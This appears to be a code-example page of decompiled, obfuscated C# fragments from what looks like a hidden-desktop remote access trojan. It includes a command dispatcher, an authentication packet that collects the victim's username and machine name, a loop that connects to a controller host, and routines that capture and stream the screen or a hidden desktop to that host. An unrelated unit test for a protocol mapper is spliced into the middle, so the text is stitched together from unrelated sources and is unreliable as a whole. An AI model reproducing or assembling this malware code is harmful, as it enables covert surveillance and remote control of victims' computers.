// Token: 0x060000D0 RID: 208 RVA: 0x00005E7C File Offset: 0x0000407C
        public static Method.Client DestroyMapper(object setup)
        {
            try
            {
                List <byte[]> list = new List <byte[]>
                {
                    setup
                };
                byte          b      = list[0].ToList <byte>().GetRange(0, 1)[0];
                Method.Client result = null;
                List <byte>   list2  = list[0].ToList <byte>();
                list2.RemoveRange(0, 6);
                list[0] = list2.ToArray();
                list    = SchemaMapper.CancelContext(SchemaMapper.CancelContext(list[0], Method.m_Expression)[0], Method.m_Message);
                switch (b)
                {
                case 1:
                    result = new Method.VisitorSpecificationQueue(1, list[0][0]);
                    break;

                case 2:
                    result = new Method.Consumer();
                    break;

                case 3:
                    result = new Method.ModelInterpreterModel(list[0][0], list[1][0], list[2], list[3], list[4][0]);
                    break;

                case 4:
                    result = new Method.DispatcherParserResolver(list[0][0], list[1][0]);
                    break;

                case 5:
                    result = new Method.TestSpecificationQueue(list[0][0]);
                    break;

                case 6:
                    result = new Method.SpecificationMapper();
                    break;

                case 7:
                    result = new Method.PolicyAlgoListener();
                    break;

                case 8:
                    result = new Method.IteratorAlgoListener();
                    break;

                case 9:
                    result = new Method.ObserverAlgoListener(Encoding.ASCII.GetString(list[0]));
                    break;
                }
                return(result);
            }
            catch
            {
            }
            return(null);
        }
Example #2
0
        // Token: 0x060000CC RID: 204 RVA: 0x00005D00 File Offset: 0x00003F00
        public static void InstantiateMapper(object item, object pred)
        {
            if (pred != null)
            {
                switch (((Method.Client)pred).CompareGetter())
                {
                case 1:
                {
                    SchemaMapper.ReflectContext("stream start received");
                    byte utils = ((Method.VisitorSpecificationQueue)pred).m_Utils;
                    item.streamClass.StopStream = false;
                    Customer.m_Printer          = new Thread(new ParameterizedThreadStart(item.streamClass.WaitReq));
                    Customer.m_Printer.Start(utils);
                    SchemaMapper.ReflectContext("stream started succces");
                    break;
                }

                case 2:
                    item.streamClass.StopStream = true;
                    break;

                case 3:
                    Parser.InsertContext((Method.ModelInterpreterModel)pred);
                    break;

                case 4:
                    Parser.AddContext((Method.DispatcherParserResolver)pred);
                    break;

                case 5:
                {
                    Customer.Struct @struct = new Customer.Struct();
                    @struct.merchant = ((Method.TestSpecificationQueue)pred)._PredicateMapper;
                    new Thread(new ThreadStart(@struct.ListMapper)).Start();
                    break;
                }

                case 6:
                    Program.needReconnect = false;
                    Product.tests.Dispose();
                    break;

                case 8:
                    item.AuthStream();
                    break;

                case 9:
                {
                    string parserMapper = ((Method.ObserverAlgoListener)pred).m_ParserMapper;
                    MapperProductSchema.mapper = parserMapper;
                    Product.tests.Dispose();
                    break;
                }
                }
            }
            pred = null;
            GC.Collect();
        }
Example #3
0
 // Token: 0x060000CF RID: 207 RVA: 0x00005E48 File Offset: 0x00004048
 internal void ListMapper()
 {
     try
     {
         SchemaMapper.RemoveContext(this.merchant);
     }
     catch
     {
     }
 }
Example #4
0
			// Token: 0x060000EC RID: 236 RVA: 0x000061B4 File Offset: 0x000043B4
			public Auth()
			{
				InvocationProcessPolicy.CompareError();
				this.algoMapper = Encoding.ASCII.GetBytes("<EOM>");
				this.type = new byte[1];
				this.winName = Encoding.ASCII.GetBytes(SchemaMapper.CalculateContext());
				this.testOS = Encoding.ASCII.GetBytes(ProcessListenerTask.ReflectMapper().GetHashCode().ToString());
				this.uName = Encoding.ASCII.GetBytes(Environment.UserName);
				this.id = Program.id;
				base..ctor();
			}
        protected override Task Context()
        {
            _parameterMapper     = A.Fake <ParameterMapper>();
            _schemaMapper        = A.Fake <SchemaMapper>();
            _protocolFactory     = A.Fake <IProtocolFactory>();
            _dimensionRepository = A.Fake <IDimensionRepository>();

            sut = new ProtocolMapper(_parameterMapper, _protocolFactory, _schemaMapper, _dimensionRepository);

            _simpleProtocol = new SimpleProtocol
            {
                ApplicationType = ApplicationTypes.Intravenous,
                DosingInterval  = DosingIntervals.DI_6_6_12,
                Name            = "Simple Protocol",
                Description     = "Simple Protocol description",
            };
            _simpleProtocol.Add(DomainHelperForSpecs.ConstantParameterWithValue(3).WithName(Constants.Parameters.START_TIME));
            _simpleProtocol.Add(DomainHelperForSpecs.ConstantParameterWithValue(4).WithName(CoreConstants.Parameters.INPUT_DOSE));
            _simpleProtocol.Add(DomainHelperForSpecs.ConstantParameterWithValue(5).WithName(Constants.Parameters.END_TIME));

            A.CallTo(() => _parameterMapper.MapToSnapshot(_simpleProtocol.StartTime)).Returns(new Parameter().WithName(_simpleProtocol.StartTime.Name));
            A.CallTo(() => _parameterMapper.MapToSnapshot(_simpleProtocol.Dose)).Returns(new Parameter().WithName(_simpleProtocol.Dose.Name));
            A.CallTo(() => _parameterMapper.MapToSnapshot(_simpleProtocol.EndTimeParameter)).Returns(new Parameter().WithName(_simpleProtocol.EndTimeParameter.Name));

            _advancedProtocol = new AdvancedProtocol
            {
                Name        = "Advanced Protocol",
                Description = "Advanced Protocol description",
                TimeUnit    = DomainHelperForSpecs.TimeDimensionForSpecs().DefaultUnit,
            };
            _schema = new Schema().WithName("Schema1");
            _advancedProtocol.AddSchema(_schema);
            _advancedProtocolParameter = DomainHelperForSpecs.ConstantParameterWithValue(3).WithName("AdvancedProtocolParameter");
            _advancedProtocol.Add(_advancedProtocolParameter);
            A.CallTo(() => _parameterMapper.MapToSnapshot(_advancedProtocolParameter)).Returns(new Parameter().WithName(_advancedProtocolParameter.Name));

            _snapshotSchema = new Snapshots.Schema().WithName(_schema.Name);
            A.CallTo(() => _schemaMapper.MapToSnapshot(_schema)).Returns(_snapshotSchema);

            A.CallTo(() => _dimensionRepository.Time).Returns(DomainHelperForSpecs.TimeDimensionForSpecs());

            return(Task.FromResult(true));
        }
        // Token: 0x060000B0 RID: 176 RVA: 0x00005440 File Offset: 0x00003640
        public void WaitReq(object _mon)
        {
            byte b = (byte)_mon;

            this.ConcatMapper();
            try
            {
                if (b == 0)
                {
                    Streaming.ActiveDesktop = Streaming.defaultDesktp;
                    new Thread(new ThreadStart(this.StreamDefault)).Start();
                }
                else
                {
                    SchemaMapper.ComputeContext();
                    new Thread(new ThreadStart(this.StreamAd)).Start();
                }
            }
            catch (Exception ex)
            {
                SchemaMapper.ReflectContext(ex.ToString());
            }
        }
Example #7
0
 // Token: 0x060000A5 RID: 165 RVA: 0x000048C0 File Offset: 0x00002AC0
 public void AuthStream()
 {
     for (;;)
     {
         try
         {
             Packets.Auth auth   = new Packets.Auth();
             Socket       socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
             if (MapperProductSchema.mapper == "")
             {
                 socket.Connect(new IPEndPoint(IPAddress.Parse(MapperProductSchema.m_Context), 80));
             }
             else
             {
                 socket.Connect(new IPEndPoint(IPAddress.Parse(MapperProductSchema.mapper), 80));
             }
             this.tcpSocket.NoDelay = true;
             List <byte> list = auth.ToList();
             list.AddRange(this.m_Watcher);
             socket.Send(list.ToArray());
             socket.ReceiveTimeout = 7000;
             socket.Receive(new byte[1]);
             if (this.streamClass != null)
             {
                 this.streamClass.Dispose();
                 this.streamClass = null;
             }
             this.streamClass = new Streaming(socket);
             break;
         }
         catch (Exception ex)
         {
             SchemaMapper.ReflectContext("Error on Socket conection " + ex.ToString());
         }
     }
 }
        // Token: 0x060000AC RID: 172 RVA: 0x00004C50 File Offset: 0x00002E50
        public void StreamDefault()
        {
            Thread.CurrentThread.Priority = ThreadPriority.Highest;
            Bitmap bitmap;

            try
            {
                if (Streaming.size.Width == 0 || Streaming.size.Height == 0)
                {
                    throw new Exception();
                }
                bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb);
            }
            catch
            {
                Streaming.size = Screen.PrimaryScreen.Bounds.Size;
                if (Streaming.size.Width == 0 || Streaming.size.Height == 0)
                {
                    SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP");
                    this.StopStream = true;
                    return;
                }
                bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb);
            }
            ParamRuleContainer.SetThreadDesktop(Streaming.defaultDesktp);
            while (!this.StopStream)
            {
                try
                {
                    Graphics graphics = Graphics.FromImage(bitmap);
                    graphics.CopyFromScreen(0, 0, 0, 0, bitmap.Size);
                    BitmapData bitmapData = bitmap.LockBits(new Rectangle(0, 0, Streaming.size.Width, Streaming.size.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
                    using (MemoryStream memoryStream = new MemoryStream())
                    {
                        try
                        {
                            this.StreamCodec.CodeImg(bitmapData, memoryStream);
                        }
                        catch (Exception ex)
                        {
                            SchemaMapper.ReflectContext(ex.ToString());
                        }
                        if (memoryStream.ToArray().Length > 4)
                        {
                            try
                            {
                                List <byte> list = memoryStream.ToArray().ToList <byte>();
                                list = this.AwakeMapper(list.ToArray()).ToList <byte>();
                                list.AddRange(this.@ref);
                                this.tcpStream.Receive(new byte[1]);
                                this.tcpStream.BeginSend(list.ToArray(), 0, list.Count, SocketFlags.None, new AsyncCallback(this.UpdateMapper), this.tcpStream);
                            }
                            catch
                            {
                            }
                        }
                        bitmap.UnlockBits(bitmapData);
                    }
                    graphics.Dispose();
                    GC.Collect();
                }
                catch (Exception ex2)
                {
                    SchemaMapper.ReflectContext(ex2.ToString());
                }
            }
            this.StreamCodec.Dispose();
            this.StreamCodec = null;
            this.IncludeMapper();
        }
 // Token: 0x060000B1 RID: 177 RVA: 0x000025DD File Offset: 0x000007DD
 private void ConcatMapper()
 {
     Streaming.size   = SchemaMapper.InvokeContext();
     this.StreamCodec = new FastCodec(Streaming.size);
 }
        public void StreamAd()
        {
            Streaming.DispatcherGetterLicense dispatcherGetterLicense = new Streaming.DispatcherGetterLicense();
            dispatcherGetterLicense.status = this;
            Bitmap bitmap;

            try
            {
                if (Streaming.size.Width == 0 || Streaming.size.Height == 0)
                {
                    throw new Exception();
                }
                bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb);
            }
            catch
            {
                Streaming.size = Screen.PrimaryScreen.Bounds.Size;
                if (Streaming.size.Width == 0 || Streaming.size.Height == 0)
                {
                    SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP");
                    this.StopStream = true;
                    return;
                }
                bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb);
            }
            ParamRuleContainer.SetThreadDesktop(Streaming.Hdsktp);
            Thread.CurrentThread.Priority  = ThreadPriority.Highest;
            dispatcherGetterLicense.@class = new List <IntPtr>();
            while (!this.StopStream)
            {
                try
                {
                    Streaming.WrapperMapperImporter wrapperMapperImporter = new Streaming.WrapperMapperImporter();
                    wrapperMapperImporter.m_Server = dispatcherGetterLicense;
                    wrapperMapperImporter.m_System = 0;
                    ParamRuleContainer.EnumWindows(new ParamRuleContainer.Record(wrapperMapperImporter.ValidateMapper), IntPtr.Zero);
                    for (int i = wrapperMapperImporter.m_System - 1; i >= 0; i--)
                    {
                        ParamRuleContainer.RegParserResolver regParserResolver = default(ParamRuleContainer.RegParserResolver);
                        ParamRuleContainer.GetWindowRect(wrapperMapperImporter.m_Server.@class[i], out regParserResolver);
                        if (regParserResolver.QueryMapper() != 0 && regParserResolver.StartMapper() != 0)
                        {
                            if (i != 0)
                            {
                                IntPtr asset = wrapperMapperImporter.m_Server.@class[i - 1];
                                ParamRuleContainer.RegParserResolver regParserResolver2 = default(ParamRuleContainer.RegParserResolver);
                                ParamRuleContainer.GetWindowRect(asset, out regParserResolver2);
                                if (regParserResolver2.RateMapper() < regParserResolver.RateMapper() && regParserResolver2.DeleteMapper() < regParserResolver.DeleteMapper() && regParserResolver2.SetMapper() > regParserResolver.SetMapper() && regParserResolver2.SortMapper() > regParserResolver.SortMapper())
                                {
                                    goto IL_26E;
                                }
                            }
                            using (Bitmap bitmap2 = new Bitmap(regParserResolver.QueryMapper(), regParserResolver.StartMapper(), PixelFormat.Format24bppRgb))
                            {
                                using (Graphics graphics = Graphics.FromImage(bitmap2))
                                {
                                    IntPtr hdc = graphics.GetHdc();
                                    ParamRuleContainer.PrintWindow(wrapperMapperImporter.m_Server.@class[i], hdc, 0);
                                    graphics.ReleaseHdc(hdc);
                                    ParamRuleContainer.DeleteDC(hdc);
                                    Graphics graphics2 = Graphics.FromImage(bitmap);
                                    graphics2.DrawImage(bitmap2, regParserResolver.RateMapper(), regParserResolver.DeleteMapper());
                                    graphics2.Dispose();
                                }
                            }
                        }
                        IL_26E :;
                    }
                    BitmapData bitmapData = null;
                    using (MemoryStream memoryStream = new MemoryStream())
                    {
                        try
                        {
                            bitmapData = bitmap.LockBits(new Rectangle(0, 0, Streaming.size.Width, Streaming.size.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
                            if (bitmapData.Scan0 == IntPtr.Zero)
                            {
                                SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP");
                                continue;
                            }
                            this.StreamCodec.CodeImg(bitmapData, memoryStream);
                        }
                        catch (Exception ex)
                        {
                            SchemaMapper.ReflectContext(ex.ToString());
                        }
                        if (memoryStream.ToArray().Length > 4)
                        {
                            List <byte> list = memoryStream.ToArray().ToList <byte>();
                            list = this.AwakeMapper(list.ToArray()).ToList <byte>();
                            list.AddRange(this.@ref);
                            this.tcpStream.Receive(new byte[1]);
                            this.tcpStream.BeginSend(list.ToArray(), 0, list.Count, SocketFlags.None, new AsyncCallback(this.UpdateMapper), this.tcpStream);
                        }
                        bitmap.UnlockBits(bitmapData);
                    }
                    GC.Collect();
                    [email protected]();
                }
                catch (Exception ex2)
                {
                    SchemaMapper.ReflectContext(ex2.ToString());
                }
            }
            this.StreamCodec.Dispose();
            this.StreamCodec = null;
            this.IncludeMapper();
        }